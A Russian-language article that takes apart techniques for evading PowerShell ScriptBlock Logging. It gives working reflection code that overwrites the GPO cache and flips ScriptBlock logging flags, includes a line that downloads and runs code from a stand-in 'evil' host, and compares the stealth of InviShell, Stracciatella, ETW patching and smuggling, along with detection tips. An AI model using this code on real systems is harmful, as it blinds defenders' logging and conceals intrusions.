Статья Обход логирования PowerShell через кэш GPO

1770922277400.webp


Знаешь, есть такая категория багов, о которых все знают, но никто не спешит исправлять. Они не лежат на поверхности, не валят сервера, не светятся красным в консолях безопасности. Они просто… есть. Как старая трещина в фундаменте дома - вроде не сквозит, стены не падают, можно жить. А потом приходит кто-то с отвёрткой и просто вынимает кирпич.

GPO Cache Bypass - это именно такая трещина.

Восемь лет назад, в 2016-м, Microsoft выпустила Windows Management Framework 5.0. Вместе с ним пришёл PowerShell, который умел логировать буквально каждый чих администратора. ScriptBlock Logging, событие 4104, транскрипция, AMSI на подходе - казалось, эра анонимного шелл-кода закончилась, не успев начаться. SOC-аналитики потёрли руки, админы выдохнули, аудиторы поставили галочку в чек-листе.

Но кто-то из инженеров Microsoft решил: «А давайте мы не будем при каждом запуске команды лазить в реестр за политиками. Это медленно. Давайте мы один раз прочитаем настройки и положим их в оперативку. В статическое поле. К которому любой код, выполняющийся в этом процессе, имеет доступ через рефлексию».

И положили.

И теперь, восемь лет спустя, любой скрипт, любой однострочник, любой легитимный PowerShell-модуль, который кто-то уговорили запустить, может просто сказать системе: «Политика ScriptBlock Logging? Не, не слышал. У нас тут всё выключено». И система поверит. Потому что слово в памяти для неё - закон.

Самое смешное и одновременно страшное в этой истории - никакого взлома здесь нет. Ни переполнения буфера, ни шеллкода, ни инъекции в чужой процесс. Просто несколько строк на чистом, валидном, подписанном Microsoft языке PowerShell. Которые любой пользователь, даже не администратор, может выполнить без единого предупреждения от Защитника Windows.

Я знаю, о чём ты сейчас думаешь. «Так это же баг! Это дыра! Почему Microsoft до сих пор это не починила?»

Ответ тебе не понравится.

Потому что это не баг. Это архитектурное решение. Компромисс между скоростью и безопасностью, который был сделан в пользу скорости. И назад, в мир постоянных запросов к реестру, PowerShell уже не вернуть без переписывания половины кодовой базы. Поэтому «фича» живёт. И будет жить дальше.

За эти восемь лет GPO Cache Bypass оброс мясом. Появились десятки вариаций: кто-то просто перезаписывает словарь, кто-то подменяет отдельные ключи, кто-то лезет в приватные поля конкретных ScriptBlock'ов, чтобы убедить систему, что блок «уже залогирован». Код кочует из репозитория в репозиторий, из пейлоада в пейлоад, из отчёта красной команды в реальную атаку.

И самое обидное - он до сих пор работает. В девяноста процентах корпоративных сред, где не включён ConstrainedLanguage Mode, где не внедрён AppLocker, где админы свято верят, что раз они выставили галку в GPO, значит, логи пишутся. А они не пишутся. Или пишутся, но только до момента, пока кто-то не прошептал шесть заветных строк.

Эта статья - не манифест и не учебник взлома. Это анатомия. Мы вскроем cachedGroupPolicySettings, посмотрим на его внутренности, разберём по косточкам классический GPOBypass, поймём, почему он оставляет следы и как эти следы пытаются замести. Мы честно поговорим об ограничениях: где этот метод не сработает, почему Microsoft не считает это уязвимостью и что на самом деле спасает, если спасает вообще.

Если ты админ - читай внимательно. Не для того, чтобы повторять, а чтобы понять: твоя главная линия обороны в PowerShell - это решето. И дыра в нём не случайная, а заводская. Если ты ресёрчер - здесь есть поле для экспериментов, потому что даже старые техники обрастают новыми нюансами. Если ты просто любишь смотреть, как стройные теории безопасности разбиваются о суровую реальность production-сред - наливай кофе, располагайся поудобнее.

Восемь лет тишины. Давай наконец поговорим о том, что молчало всё это время.


Анатомия GPO Cache - Почему дверь вообще оставили открытой

Прежде чем говорить о том, как ломать, давай поймём, что именно мы ломаем. Без этого любой байпас - просто магия из интернета, скопированная с GitHub. А магия, как известно, имеет привычку переставать работать в самый неподходящий момент.

Как ScriptBlock Logging появляется в системе

Всё начинается с благих намерений. Где-то в недрах корпоративной сети админ открывает консоль управления групповыми политиками, находит раздел «Административные шаблоны» -> «Компоненты Windows» -> «Windows PowerShell» и включает параметр «Включить ведение журнала блоков скриптов PowerShell».

Звучит красиво. За кулисами происходит следующее:
  1. На контроллере домена обновляется политика.
  2. При следующем обновлении групповых политик на клиентской машине (вручную gpupdate или по расписанию) в реестре создаётся ключ:
  3. HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
  4. Внутри этого ключа прописывается значение EnableScriptBlockLogging = 1 (DWORD).

Всё. Политика включена. Теперь любой процесс PowerShell, запущенный на этой машине, должен при выполнении каждого блока кода проверять: «Эй, а включено ли логирование?». И если да - исправно писать событие 4104 в журнал «Microsoft-Windows-PowerShell/Operational».

Проблема в том, как именно PowerShell задаёт этот вопрос.

Проблема производительности: почему кеш - не роскошь, а необходимость

Представь, что ты администратор и твой скрипт состоит из тысячи команд. Каждая команда - это отдельный ScriptBlock. Даже простой Get-Process внутри блока ForEach-Object - это блок. Если PowerShell при каждом таком блоке будет обращаться к реестру, открывать ключ, читать значение, закрывать ключ - производительность упадёт настолько, что скрипты станут тормозить как Flash-баннер на Pentium III.

Инженеры Microsoft посчитали: реестр - это медленно. Даже с кешированием самого реестра на уровне ядра, вызовы к API реестра - это контекстные переключения, это блокировки, это время. А PowerShell позиционируется как быстрая оболочка.

Решение, принятое разработчиками, было простым и элегантным: прочитать настройки один раз при первой необходимости и сохранить их в памяти. В статическое поле. Доступное всем экземплярам в рамках одного процесса. Это классический паттерн кеширования, и в вакууме он безупречен.

cachedGroupPolicySettings: сердце, которое бьётся не в том ритме

Давай заглянем внутрь процесса PowerShell. Где-то в недрах сборки System.Management.Automation живёт класс Utils. А в нём - статическое приватное поле с именем cachedGroupPolicySettings.

Тип этого поля - System.Collections.Generic.Dictionary<string, Dictionary<string, object>>. Грубо говоря, это словарь, в котором ключ - путь к разделу реестра (строка), а значение - ещё один словарь, где хранятся имена настроек и их значения (числа, строки).

Когда PowerShell впервые сталкивается с необходимостью узнать, включено ли ScriptBlock Logging, он:
  1. Смотрит, есть ли в cachedGroupPolicySettings ключ, соответствующий пути реестра политики.
  2. Если нет - лезет в реестр, читает значения, заполняет внутренний словарь и кладёт его в кеш.
  3. Если есть - берёт значение прямо оттуда.
Вот так это выглядит в упрощённом виде:

C#:
// Псевдокод, но очень близкий к реальности
internal static Dictionary<string, Dictionary<string, object>> cachedGroupPolicySettings;
internal static object GetGroupPolicySetting(string key, string valueName)
{
    if (!cachedGroupPolicySettings.ContainsKey(key))
    {
        cachedGroupPolicySettings[key] = ReadRegistryPolicy(key);
    }
    return cachedGroupPolicySettings[key][valueName];
}
Критический момент: поле объявлено как private static. Но в .NET «private» - это не стена, это плёнка. Через рефлексию можно достучаться до чего угодно. И главное - это поле живёт в единственном экземпляре на весь процесс. Если ты запустил PowerShell, внутри него есть ровно один словарь cachedGroupPolicySettings. Все runspace’ы, все сессии, все вкладки - они смотрят в один и тот же объект в памяти.

Почему это не патчат?

Официальная позиция Microsoft (не в блогах, а в баг-трекерах): «Если злоумышленник уже выполняет код в вашем PowerShell, ваша система уже скомпрометирована на более глубоком уровне. ScriptBlock Logging - это не защита от выполнения, это средство обнаружения. Мы не считаем возможностью обойти логирование через рефлексию уязвимостью безопасности».

Здесь есть доля истины. Действительно, если атакующий дошёл до выполнения кода в PowerShell, он уже миновал кучу защит: UAC, антивирус, политики выполнения скриптов, возможно, AppLocker. Но эта конкретная техника не требует прав администратора. Её может применить любой пользователь, запустивший вредоносный макрос в Excel. Это снижает порог входа до уровня «скачал файл, открыл, согласился».

Реальная причина, почему нет патча: архитектура. Убрать кеширование нельзя - упадет производительность на десятках тысяч серверов и рабочих станций. Оставить кеш, но сделать его защищённым от записи - сложно. Поле статическое, его владелец - сам код PowerShell. Нельзя просто пометить его readonly, потому что оно заполняется динамически. Нельзя спрятать глубже, потому что к нему обращаются из разных мест сборки.

Технически можно было бы заменить Dictionary на что-то с проверкой прав доступа, но это потребует изменений в CLR и нарушит совместимость. Можно было бы форсировать ConstrainedLanguage Mode для всех скриптов - но это поломает легитимные решения, которые используют рефлексию.

Поэтому восемь лет ничего не меняется. И, судя по всему, не изменится.

Что даёт нам эта архитектурная особенность

Любой процесс PowerShell, который не работает в режиме ограниченного языка, носит в себе бомбу замедленного действия. В его памяти лежит объект, который отвечает за ключевое решение - писать логи или не писать. И этот объект доступен для модификации любому скрипту, запущенному в этом процессе.

Последствия номер ноль: изменение кеша не требует прав администратора. Не требует изменения реестра. Не оставляет прямых следов на диске. Это чистая операция в памяти.

Последствие номер один: изменения, внесённые в cachedGroupPolicySettings, распространяются на все runspace’ы текущего процесса. Если ты запустил вредоносный код в одной сессии, а администратор подключился к той же сессии через PSSession - он тоже увидит подменённый кеш.

Последствие номер два: после перезапуска процесса кеш восстанавливается из реестра. Байпас не персистентен. Это ограничивает его применение одной сессией, но для большинства пост-эксплуатационных задач этого достаточно.

Последствие номер три: сам код, который отключает логирование, логируется, если политика ещё активна. В событии 4104 остаётся чёткая запись: пользователь такой-то выполнил скрипт, который обращается к cachedGroupPolicySettings и выставляет нули. Аналитик видит это событие и может отреагировать. Но следующие команды - тишина.

Это порождает забавный паттерн в логах: «внезапно PowerShell перестал писать события 4104, а последнее событие содержит странные вызовы GetField». Хороший SOC это заметит. Обычный админ - вряд ли.

1770922419059.webp

Классический GPOBypass - Шесть строк, которые отключили ваш SOC

Я предполагаю, что ты уже знаешь: cachedGroupPolicySettings лежит в System.Management.Automation.Utils, оно статическое, приватное, и до него можно добраться через рефлексию.

Эталонный GPOBypass: построчный разбор

Перед тобой код, который гуляет по GitHub с 2016 года. Он менялся, обрастал комментариями, переписывался на C# для внедрения в чужие процессы, но суть осталась той же. Я приведу его в максимально прозрачном виде, без обфускации, чтобы ты понимал каждый такт.

Код:
# Шаг 1. Получаем доступ к полю cachedGroupPolicySettings
$utils = [ref].Assembly.GetType('System.Management.Automation.Utils')
$field = $utils.GetField('cachedGroupPolicySettings', 'NonPublic,Static')
$settings = $field.GetValue($null)

Что здесь происходит?

[ref].Assembly - это сокращённая запись. [ref] - это акселератор типа System.Management.Automation.PSReference, но главное: его свойство Assembly возвращает сборку, в которой определён этот тип. А определён он в System.Management.Automation.dll - той самой, где живёт класс Utils. Это надёжнее, чем писать [System.Management.Automation.Utils].Assembly, потому что [ref] гарантированно есть в любой сессии PowerShell.

Дальше мы вызываем GetType('System.Management.Automation.Utils'). Указываем полное имя с пространством имён.

Затем GetField с флагами NonPublic,Static. Флаги можно передавать одной строкой через запятую - так короче, и это работает во всех версиях .NET Framework и .NET Core.

GetValue($null) - для статического поля передаём $null, потому что экземпляр объекта не нужен.

На выходе - $settings - это и есть тот самый словарь cachedGroupPolicySettings. Тип - Dictionary<string, Dictionary<string, object>>.


Создаём поддельные настройки

Код:
$fakeSettings = New-Object 'System.Collections.Generic.Dictionary[string,System.Object]'
$fakeSettings.Add('EnableScriptBlockLogging', 0)
$fakeSettings.Add('EnableScriptBlockInvocationLogging', 0)

Мы создаём новый словарь, куда кладём две настройки: основную (логирование блоков) и дополнительную (логирование вызовов внутри блоков). Обе выключаем.

Важно: тип значения - System.Object. Можно передать и целое число 0, и строку '0'. PowerShell при проверке политики использует приведение типов, но на практике целое 0 работает безотказно.


Подмена кеша

Код:
$key = 'HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging'
$settings[$key] = $fakeSettings

Ключ верхнего уровня - это полный путь к разделу реестра, где хранится политика. Именно так PowerShell ищет её при первом обращении. Если мы перезапишем значение по этому ключу, то при следующем вызове GetGroupPolicySetting система возьмёт наш словарь, увидит EnableScriptBlockLogging = 0 и не будет логировать.

Всё. Три логических шага, шесть исполняемых строк (я специально разбил для читаемости). Поздравляю, ты только что обманул PowerShell.


Альтернативные варианты записи

В разных источниках встречаются вариации. Иногда пишут так:

Код:
$settings['ScriptBlockLogging']['EnableScriptBlockLogging'] = 0

Это работает только если в $settings уже есть ключ 'ScriptBlockLogging' (не путать с путём реестра!). В некоторых версиях PowerShell или при определённых условиях такой ключ действительно присутствует. Но полагаться на это - плохая идея. Метод с полным путём реестра надёжнее и переносимее.

Другой вариант - не создавать новый словарь, а модифицировать существующий:

Код:
$regKey = 'HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging'
if ($settings.ContainsKey($regKey)) {
    $settings[$regKey]['EnableScriptBlockLogging'] = 0
    $settings[$regKey]['EnableScriptBlockInvocationLogging'] = 0
}

Это оставляет меньше следов в памяти (не создаётся лишний объект Dictionary), но требует, чтобы ключ уже существовал. Если политика никогда не применялась - ключа может не быть, и код ничего не сделает.

Поэтому классический вариант с созданием нового словаря - универсальная отмычка.


Побочные эффекты и «следы на песке»

В этом месте у каждого, кто впервые видит технику, возникает резонный вопрос: «Но ведь сам код байпаса - тоже ScriptBlock. Значит, он залогируется до того, как отключит логирование?».

Да. Именно так. И это самый большой палец, торчащий из воды.

Представь: включено ScriptBlock Logging. Атакующий запускает код байпаса. Событие 4104 аккуратно записывает в журнал:

Код:
HostApplication=powershell.exe
ScriptBlockText=
$utils=[ref].Assembly.GetType('System.Management.Automation.Utils');
$field=$utils.GetField('cachedGroupPolicySettings','NonPublic,Static');
...

Аналитик, который мониторит события 4104 на предмет странных обращений к GetField и cachedGroupPolicySettings, мгновенно увидит эту запись. И поймёт: в системе что-то пошло не так.

Но проблема в том, что следующие команды уже не залогируются. Если злоумышленник сразу после байпаса начнёт скачивать Cobalt Strike, инжектировать шеллкод, опрашивать Active Directory - в журнале будет тишина. Аналитик видит: было странное событие, потом - ничего. И это «ничего» - тоже сигнал, но его сложнее детектировать автоматически.

Более того, атакующие адаптируются. Существуют техники, позволяющие сам байпас сделать невидимым в логах. Например, загрузить код байпаса через Invoke-Expression с обфускацией, которая обманет AMSI, или использовать ScriptBlock Smuggling, когда в лог попадает один текст, а выполняется другой. Но это уже уровень выше - мы коснёмся этого в части 6.

Пока же констатируем: классический GPOBypass оставляет след. Вопрос не в том, можно ли его обнаружить, а в том, смотрят ли туда.


Тест-драйв: как убедиться, что байпас сработал

Допустим, ты на своей тестовой виртуалке включил ScriptBlock Logging через локальную политику или реестр. Запустил байпас. Хочешь проверить, действительно ли он сработал.

Метод 1. Прямая проверка кеша

Код:
$utils = [ref].Assembly.GetType('System.Management.Automation.Utils')
$field = $utils.GetField('cachedGroupPolicySettings', 'NonPublic,Static')
$settings = $field.GetValue($null)
$settings['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging']

Если ты видишь EnableScriptBlockLogging = 0 - байпас активен.

Метод 2. Функциональная проверка

Выполни две команды: одну до байпаса, одну после. Например:

Код:
Write-Host "Before"
<запускаешь байпас>
Write-Host "After"

Теперь открой Event Viewer, журнал Microsoft-Windows-PowerShell/Operational, фильтр по Event ID 4104. Ты увидишь запись с Before и, возможно, запись с кодом байпаса. Но не увидишь After. Если After не залогировался - цель достигнута.

Метод 3. Сравнение с реестром

Самый надёжный способ для автоматического детекта:

Код:
$reg = Get-ItemProperty -Path 'HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging' -Name EnableScriptBlockLogging -ErrorAction SilentlyContinue
$regValue = $reg.EnableScriptBlockLogging

$utils = [ref].Assembly.GetType('System.Management.Automation.Utils')
$field = $utils.GetField('cachedGroupPolicySettings', 'NonPublic,Static')
$settings = $field.GetValue($null)
$cacheValue = $settings['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging']['EnableScriptBlockLogging']

if ($regValue -ne $cacheValue) {
    Write-Warning "Cache tampered: reg=$regValue, cache=$cacheValue"
}

Расхождение между реестром и кешем - железобетонный признак атаки. Никакой легитимный софт так не делает.


Подводные камни и частые ошибки

Ошибка 1: путаница с 32-битными и 64-битными процессами

Реестр групповых политик - единый для всей системы. Но процесс PowerShell может быть 32-битным (если запущен из SysWOW64) или 64-битным. Кеш хранится в процессе. Если ты выполнил байпас в 64-битном PowerShell, а администратор смотрит логи через 32-битную консоль, его кеш остался нетронутым. Это создаёт путаницу при расследовании: «У меня логи пишутся!» - «А у меня нет».

Ошибка 2: политика может быть не в HKLM, а в HKCU

Да, групповые политики бывают и пользовательские. Путь: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging. Классический GPOBypass часто перезаписывает только HKLM. Если политика применяется на уровне пользователя, нужно работать с другим ключом.

Ошибка 3: забыли про EnableScriptBlockInvocationLogging

Некоторые варианты байпаса отключают только основной ключ. Но есть и дополнительный уровень детализации. Если его не отключить, часть информации всё равно может утекать. На практике большинство атакующих выключают оба флага, но не всегда.

Ошибка 4: кеш перезаписан, но политика не читается заново

PowerShell читает настройки из кеша только при обращении. Если какой-то компонент уже закешировал политику до байпаса, он может продолжать использовать старое значение. На практике это редкость, но бывает.


Теперь ты знаешь, как именно работает этот танец с бубном вокруг статического словаря. Знание - не только сила, но и ответственность. Используй его, чтобы проверять свои системы, а не чтобы оправдывать паранойю.

Дальше мы пойдём глубже: как отключить логирование, не создавая новых ключей в словаре, как манипулировать флагами HasLogged и IsProductCode и почему даже после GPOBypass не всё потеряно для защитника.


Тихая смерть - Подавление логирования без глобальных следов

Классический GPOBypass - это кувалда. Он приходит, переписывает кеш, оставляет следы в Event Log и кричит на весь процесс: «Я ОТКЛЮЧИЛ ЛОГИРОВАНИЕ!». Аналитик, который хотя бы раз в неделю смотрит события 4104, рано или поздно заметит подозрительные обращения к cachedGroupPolicySettings. Вопрос времени, не техники.

Но что, если я скажу тебе, что можно вообще не трогать кеш? Что можно заставить PowerShell молчать персонально для конкретного блока кода, не меняя глобального состояния процесса, не создавая новых ключей в словаре и - самое главное - не генерируя событие 4104 с собственным телом?

Добро пожаловать в мир тихих, точечных методов. Здесь мы не ломаем дверь - мы убеждаем охранника, что этот конкретный посетитель «свой» и его можно не записывать в журнал.

scriptBlock.HasLogged и IsProductCode: Два флага, которые решают всё

PowerShell - это .NET-приложение. А в .NET, как ты уже понял, всё, что объявлено приватным, на самом деле публичное - просто с табличкой «руками не трогать». И у каждого объекта ScriptBlock есть внутренние поля, которые управляют тем, будет ли этот конкретный блок залогирован.

Есть как минимум два флага, которые нас интересуют :

scriptBlock.HasLogged - булево значение, которое указывает, был ли этот ScriptBlock уже отправлен в лог. Если выставить $true, PowerShell решит, что блок уже залогирован, и пропустит запись в Event Log.
scriptBlock.ScriptBlockData.IsProductCode - ещё один внутренний флаг. Его назначение в документации не светится, но на практике установка этого флага в $true также подавляет логирование. Видимо, разработчики пометили так «легитимные» блоки, сгенерированные самой системой, чтобы не засорять логи служебной информацией.

Суть техники: мы не отключаем логирование глобально. Мы находим конкретный объект ScriptBlock, который собираемся выполнять, и прямо перед выполнением говорим ему: «Ты уже залогирован, иди работай». Система верит. Событие 4104 не создаётся. Кеш групповых политик остаётся нетронутым.

Как добраться до внутренностей ScriptBlock

Это сложнее, чем GPOBypass. Там мы работали со статическим полем - одним на весь процесс. Здесь мы имеем дело с экземплярными полями конкретного объекта.

Упрощённая схема выглядит так:

Код:
# Создаём ScriptBlock, который мы хотим выполнить без логирования
$evilBlock = { Invoke-Expression (New-Object Net.WebClient).DownloadString('http://evil/payload.ps1') }

# Получаем доступ к внутреннему полю _scriptBlockData
$bindingFlags = [System.Reflection.BindingFlags] 'NonPublic,Instance'
$scriptBlockDataType = $evilBlock.GetType().GetField('_scriptBlockData', $bindingFlags).FieldType

# Извлекаем _scriptBlockData
$scriptBlockData = $scriptBlockDataType.GetProperty('ScriptBlockData', $bindingFlags).GetValue($evilBlock)

# Теперь у нас есть доступ к внутренним флагам
$hasLoggedField = $scriptBlockData.GetType().GetField('hasLogged', $bindingFlags)
$hasLoggedField.SetValue($scriptBlockData, $true)

$isProductCodeField = $scriptBlockData.GetType().GetField('isProductCode', $bindingFlags)
$isProductCodeField.SetValue($scriptBlockData, $true)

# Выполняем блок - он НЕ будет залогирован
& $evilBlock

Почему эта техника не вытеснила GPOBypass? Потому что она хрупкая. Она требует точного знания внутренней структуры объекта под конкретную версию PowerShell. Она может сломаться после установки обновления. И, что важнее, она всё равно использует рефлексию. А рефлексия в PowerShell - это красная тряпка для любого EDR, который смотрит на события 4104.

Но есть у неё и неоспоримое преимущество: никаких глобальных изменений состояния процесса. Ты не трогаешь cachedGroupPolicySettings. Ты не создаёшь новых ключей в словаре. Ты просто берёшь один конкретный блок и делаешь его невидимым. Для аналитика, который смотрит на всю систему в целом, твоя сессия PowerShell выглядит абсолютно нормально - логи пишутся, политики соблюдаются.

Сессионные методы: InviShell и запуск PowerShell без логгера

Есть и другой подход, ещё более радикальный. Если нельзя отключить логгер в уже работающем процессе - может быть, вообще не дать логгеру запуститься?

InviShell - это фреймворк, который делает именно это . Его концепция проста: PowerShell загружает компоненты логирования (ScriptBlock Logging, AMSI, ETW) при инициализации runspace. Если вмешаться в процесс запуска, можно создать runspace, в котором эти компоненты либо не загрузятся, либо загрузятся в «сломанном» состоянии.

Технически InviShell работает через принудительную загрузку сборки System.Management.Automation в определённом контексте, с перехватом точек входа. Это не патч памяти, не изменение кода в amsi.dll - это манипуляция порядком инициализации. Результат: ты получаешь полноценную сессию PowerShell, которая выполняет любые команды, но событие 4104 вообще не генерируется. Не потому, что его отключили, а потому, что логгер даже не знает, что он должен работать .

Для защитника это кошмарный сценарий. В логах нет подозрительных обращений к cachedGroupPolicySettings. Нет странных рефлексивных вызовов. Просто - тишина. PowerShell работал, ничего не записал.

Stracciatella и управляемые runspace

Ещё один вектор - создание собственного runspace из C#, минуя стандартные механизмы PowerShell.exe. Проект Stracciatella (ранее SharpPick) демонстрирует этот подход в действии .

Идея: ты не запускаешь powershell.exe. Ты создаёшь в своём процессе (C#, C++) runspace - среду выполнения PowerShell. И при создании этого runspace ты явно отключаешь ScriptBlock Logging, AMSI, ETW и даже ConstrainedLanguage Mode, если он включён .

C#:
// Упрощённая логика Stracciatella
Runspace runspace = RunspaceFactory.CreateRunspace(initialSessionState);
runspace.Open();
// Внутренние вызовы, отключающие логирование до выполнения любого скрипта

Преимущество: твой код выполняется в контексте PowerShell, но ни одна из защит не активна. Логи не пишутся, AMSI не сканирует, ETW молчит. И всё это - без патчинга системных DLL, без рефлексии в рантайме, без глобальных изменений. Просто правильно сконфигурированная среда выполнения.

Недостаток: требуется запуск собственного исполняемого файла. В сценариях post-exploitation это не всегда удобно. Но в связке с Cobalt Strike и агрессор-скриптами - вполне .

Что эффективнее?

Выбор метода зависит от того, что тебе нужно и какие у тебя ограничения.
  • GPOBypass - самый простой, самый документированный, самый ожидаемый. Он работает в 90% случаев, но оставляет жирные следы в логах. Хорош, когда нужно быстро и без танцев с бубном.
  • Манипуляция HasLogged/IsProductCode - точечный удар. Не трогает глобальное состояние, но сложен в реализации и хрупок. Идеален, когда нужно выполнить один критический блок и не наследить.
  • InviShell - радикальное решение «с нуля». Не оставляет следов в процессе, но требует контроля над запуском PowerShell.
  • Stracciatella - максимальный контроль и максимальная скрытность, но требует доставки своего бинарника.
Все эти методы объединяет одно - они используют легитимные механизмы PowerShell против него самого. HasLogged - это штатное поле для оптимизации. InviShell просто не даёт логгеру загрузиться. Stracciatella создаёт runspace с настройками, которые разрешены архитектурой. Это не баги. Это фичи, которые Microsoft не может исправить, не сломав совместимость с собственными же сценариями использования.

Детекция: можно ли поймать «тихую смерть»?

Да, но сложно.
  1. Манипуляция HasLogged - требует рефлексии. А любая рефлексия в PowerShell - это событие 4104. Ищи в логах вызовы GetField('hasLogged'), SetValue с флагами NonPublic,Instance. Это редкие паттерны, почти всегда - красный флаг.
  2. InviShell - здесь детекция сложнее. Нет прямых индикаторов в логах PowerShell. Но есть косвенные: процесс PowerShell запущен с необычными аргументами командной строки? Родительский процесс - не explorer.exe и не легитимное приложение? Начинай копать.
  3. Stracciatella - вообще не использует powershell.exe. Детекция на уровне процесса: подозрительный бинарник, который грузит System.Management.Automation.dll и активно использует runspace. Sysmon, Event ID 7 (загрузка DLL), Event ID 1 (создание процесса) - твои друзья.
GPOBypass - это вчерашний день. Он работает, его знают, его детектят. Сегодняшний день - это точечные, сессионные методы, которые не оставляют глобальных следов и не кричат на весь Event Log: «Я ЗДЕСЬ!».

1770922338654.webp

Полная карта местности - Все техники обхода логирования PowerShell

Если ты дочитал до этого места, у тебя уже сложилось ощущение, что PowerShell - это швейцарский сыр, только дыры крупнее. И это ощущение, надо признать, близко к истине. Но важно понимать: дыры эти разного калибра, разного происхождения и, что самое главное, разной степени залатанности.

Одна из самых распространённых ошибок защитника - фокусироваться на одной, самой громкой технике и считать, что ты прикрыт. «Мы включили ScriptBlock Logging, значит, всё под контролем». Или: «Мы заблокировали рефлексию через ConstrainedLanguage, значит, GPOBypass не пройдёт». Или: «Мы поставили EDR от вендора Х, он детектит ETW-патчинг».

Каждый из этих подходов упускает главное: ландшафт атак многомерен. Атакующий не привязан к одной технике. У него есть арсенал, и он выберет тот инструмент, который лучше всего подходит под твои защиты.

Классификация: Куда именно мы бьём?

Все техники обхода PowerShell-логирования можно разделить по объекту воздействия. Это не просто академическая классификация - это понимание того, какой слой защиты ты атакуешь и, соответственно, какой слой нужно укрепить.

Первый уровень - источник конфигурации. Здесь объект - кеш групповых политик в памяти процесса. Механика проста: перезаписать словарь cachedGroupPolicySettings, чтобы PowerShell думал, будто логирование выключено. Главный представитель - GPOBypass. Требует низких прав, но сам байпас логируется и оставляет жирные следы в Event Log.

Второй уровень - транспорт телеметрии. Это уровень ETW - Event Tracing for Windows. PowerShell генерирует события, ETW их доставляет. Если перехватить и заглушить функцию EtwEventWrite (или запатчить её машинный код), события просто не уйдут в систему. Главные представители - PatchETW.cs, многочисленные вариации патчинга ntdll!EtwEventWrite и amsi!AmsiScanBuffer. Требуют административных прав, потому что писать в память защищённых процессов без SeDebugPrivilege сложно. И оставляют очень заметные следы: вызовы WriteProcessMemory, модификация кода в загруженных DLL.

Третий уровень - подпись и сканирование. Это AMSI. Интерфейс, через который антивирус получает скрипты на проверку. Байпасы AMSI делятся на две эпохи: древние (рефлексивное обнуление amsiInitFailed), которые уже мертвы, и современные - обфускация до неузнаваемости или манипуляции с AmsiContext в памяти процесса. Требуют прав от низких до высоких, оставляют следы в зависимости от метода.

Четвёртый уровень - содержание и парсинг. Это атака на сам процесс компиляции ScriptBlock. PowerShell строит абстрактное синтаксическое дерево (AST) из кода. Исследователи нашли способ скормить парсеру код, который для логирования и AMSI генерирует одно дерево (безобидное), а для JIT-компиляции и выполнения - другое (вредоносное). Это ScriptBlock Smuggling. Не требует рефлексии, не трогает память, не меняет глобальное состояние. Работает даже в ConstrainedLanguage Mode (с оговорками). И самое главное - событие 4104 получает «красивую» версию скрипта.

Пятый уровень - инициализация среды. Вместо того чтобы отключать логирование в уже работающем процессе, можно создать процесс или runspace, в котором логирование вообще не включится. Два пути: InviShell - запуск PowerShell с особыми параметрами, заставляющими пропустить инициализацию логгеров; Stracciatella (и его предок SharpPick) - создание собственного runspace внутри своего процесса с явным отключением всех защит. Следов в логах PowerShell почти нет, но на уровне системы видны аномальные процессы или загрузка System.Management.Automation.dll в необычный родительский процесс.

Детальный разбор арсенала: что стреляет, а что уже заклинило

Теперь пройдёмся по каждой группе и честно оценим, насколько техника актуальна в 2026 году. Без маркетинга, без «у нас всё под контролем».

GPOBypass - старейшина. Ему восемь лет, он всё ещё жив, но уже тяжело ранен. Для работы нужен FullLanguage Mode, то есть режим без ограничений рефлексии. Многие организации до сих пор не включили ConstrainedLanguage (потому что «легаси-скрипты сломаются»), поэтому GPOBypass проскакивает. Но плата за простоту - неизбежный след в событии 4104. Любой аналитик, который настроил мониторинг на строки cachedGroupPolicySettings и NonPublic,Static, увидит его сразу. Поэтому GPOBypass сегодня - техника для быстрого результата, когда время дороже скрытности.

ETW-патчинг когда-то был королём пост-эксплуатации. Найти процесс PowerShell, вызвать WriteProcessMemory и забить нулями первые байты EtwEventWrite - и весь PowerShell в системе немеет. Но современные EDR ставят хуки глубже, мониторят доступ к процессам с правами на запись, и событие Sysmon ID 10 с доступом 0x1F3FFF - это красная тряпка. Если ты не в команде, которая пишет собственные ультратонкие импланты с обходом датчиков, ETW-патчинг оставит за тобой след размером с танк. В 2026 году использовать его вслепую - самоубийство.

AMSI Bypass через рефлексию - категория почти полностью мёртвая. Microsoft закрыла дыру с AmsiUtils ещё в 2018-м, а последующие обходы через манипуляции с amsiContext и amsiSession патчили один за другим. Сегодня рефлексивные байпасы AMSI в актуальных версиях Windows 11 и Server 2025 не работают без дополнительных ухищрений, которые сводят на нет их простоту. Однако AMSI можно обойти обфускацией - превратить скрипт в неузнаваемую кашу, которую AMSI не сопоставит с сигнатурами. Но обфускация не отключает ScriptBlock Logging, она только прячет код от антивируса на входе.

ScriptBlock Smuggling - безусловная звезда последних двух лет. Техника, которая не ломает, а обманывает. Используя особенности парсера PowerShell (например, некорректные escape-последовательности или непарные закрывающие скобки), можно создать конструкцию, которая для логгера выглядит как Write-Host "Hello", а при выполнении скачивает и запускает Meterpreter. В событие 4104 записывается именно Write-Host "Hello". AMSI видит то же самое. Никаких глобальных изменений, никакой рефлексии, никаких прав. Единственный минус - хрупкость: разные версии PowerShell по-разному обрабатывают краевые случаи грамматики. Но базовые приёмы стабильно работают на всём, от Windows 7 с PowerShell 2.0 до Windows 11 24H2. Это техника сегодняшнего и завтрашнего дня.

InviShell - интересный гибрид. Он не отключает логирование в уже запущенном процессе, он мешает ему включиться при старте. Если запустить powershell -c "InviShell" с особым скриптом инициализации, можно получить сессию, в которой ScriptBlock Logging и AMSI даже не активированы. Ни одного события 4104 за всё время работы. Плата - запуск с необычной командной строкой, которая видна в логах процессов. Но если ты уже имеешь выполнение кода на хосте, подменить командную строку в процессе создания - решаемая задача. InviShell живёт в нише между простотой GPOBypass и скрытностью Smuggling.

